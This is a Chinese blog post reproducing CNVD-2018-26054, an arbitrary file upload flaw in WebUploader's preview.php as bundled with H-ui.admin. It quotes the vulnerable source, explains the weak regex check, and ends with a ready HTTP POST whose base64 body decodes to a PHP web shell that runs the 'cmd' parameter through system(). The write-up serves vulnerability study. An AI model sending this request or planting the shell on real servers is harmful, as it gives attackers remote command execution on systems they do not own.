Catalog
  1. 1. 搭建
  2. 2. 漏洞分析
  3. 3. 攻击方式
CNVD-2018-26054漏洞复现

百度WebUploader组件存在文件上传漏洞

搭建

源码:h-ui.admin3.1.3

环境:phpstudy

漏洞分析

webuploader目录下的\0.1.5\server\preview.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
/**
* 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
*/

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}

while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],
$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);


$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}

$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}

} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

中的上传文件检查代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],
$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);


$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}

$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}

} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

只用了preg_match正则匹配函数检查上传内容中是否存在”#^data:image/(\w+);base64,(.*)$#”此类内容,过滤不严格,所以可以进行任意文件上传。

攻击方式

1
2
3
4
5
6
7
8
9
10
11
12
POST /H-ui.admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 298

data:image/php;base64,PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=

Author: 九指
Link: /2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶